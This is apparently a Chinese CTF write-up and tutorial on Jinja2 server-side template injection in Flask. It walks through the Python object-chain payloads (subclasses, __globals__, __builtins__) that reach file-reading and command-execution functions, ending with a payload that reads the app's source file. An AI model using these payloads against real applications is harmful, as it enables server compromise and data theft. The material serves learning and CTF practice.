ssti漏洞及其原理分析
ssti(模板注入)
ssti漏洞其根本原因是其实是其渲染模板语法和编写语法之间存在差异,而最常见的就是python中的jinja2模板引擎
这里就是中海的一道很简单的ssti的题目,这里就利用这个来回顾一下整个ssti的漏洞成因和利用
这里先引用一下一段很简单的flask环境代码,而flask的模板引擎正好就是我们jinja2模板引擎
1 | from flask import Flask,request,render_template_string |
这里我们渲染了一段html语言的环境,而由于渲染引擎和编写语言的差异,从而导致了这里存在了可能注入的机会
而在python中我们可以对name进行随意赋值,当我们对name赋值成执行语句时,就会造成了模板注入漏洞
理解了漏洞的来由后,我们就需要思考如何利用这个漏洞进行命令执行
进行命令执行我们无疑就是需要去调用方法,而方法一般定义在类中,这样我们就有了一定的思路,就是我们需要去调用到我们需要的类,从而实现我们对于方法的调用
那么我们需要的类去哪里找呢,一个很简单的方法就是从父类下所有的子类中去找,那么这里我们就利用沙盒进行测试
1 | ''.__class__ |
这里我们先定义一个字符串,然后去找到字符串的所处的类
1 | ''.__class__.__base__ |
然后我们就去找这个类的父类,一般大部分的子类都存放在这个父类之中
1 | ''.__class__.__base__.__subclasses__() |
这样我们就通过__subclasses__()
去查找父类下的所有类,__subclasses__
是一个内置方法,所有这里需要加上()
ok,到这里我们就需要知道一下常见的可以利用点,比如os._wrap_close warnings.catch_warnings
warnings.catch_warnings
一个控制警告信息的库,其一般性都有执行语句可以进行调用
os._wrap_close
调用os模块,提供方法系统服务的功能
由于''.__class__.__base__.__subclasses__()
这里返回的是一个列表,我们需要用过索引去访问,就简单写个遍历脚本就行,这里懒得贴了
当我们调用到所需要的子类之后,需要对子类进行初始化,创建实例才能进行使用
1 | ''.__class__.__base__.__subclasses__()[132].__init__ |
这里会返回一个对象,这里我们就利用__globals__
把里面所有的变量通过字典表示出来
1 | ''.__class__.__base__.__subclasses__()[132].__init__.__globals__ |
在这里我们就可调用里面我们所需要的方法,而这里就是需要知道一些命令执行的方法,比如system popen,同时也可以通过开文件的方法来进行open file,这里可以调用的方法就比较多了
这里对于方法的调用也很简单,就是通过字典的方法进行读取,只要找到字典的键值对即可
调用后我们就可以利用方法进行命令执行和读取了
ok然后我们回到这道题目上面来
给了一个python工具,附件里有他的框架,可以判断出来应该是一道ssti
前面常规的我就不过多说明
找一下我们可以利用到的那几个类
1 | ().__class__.__base__.__subclasses__() |
这里就利用**’warnings.catch_warnings**
找到需要的索引
1 | ().__class__.__base__.__subclasses__()[221] |
ok,我们就初始化这个类,创建实例,然后导入到字典里
1 | ().__class__.__base__.__subclasses__()[221].__init__.__globals__ |
找不到popen,这里我们就用文件打开,去看他的配置文件app.py
找到open所在的键值对
1 | ().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__'] |
发现open可以直接调用了,我们就直接打开文件
1 | ().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__']['open'](qpp.py) |
发现返回的是字节流,这里我们就用**.read()**读取字节流里面的数据
1 | ().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__']['open']('app.py').read() |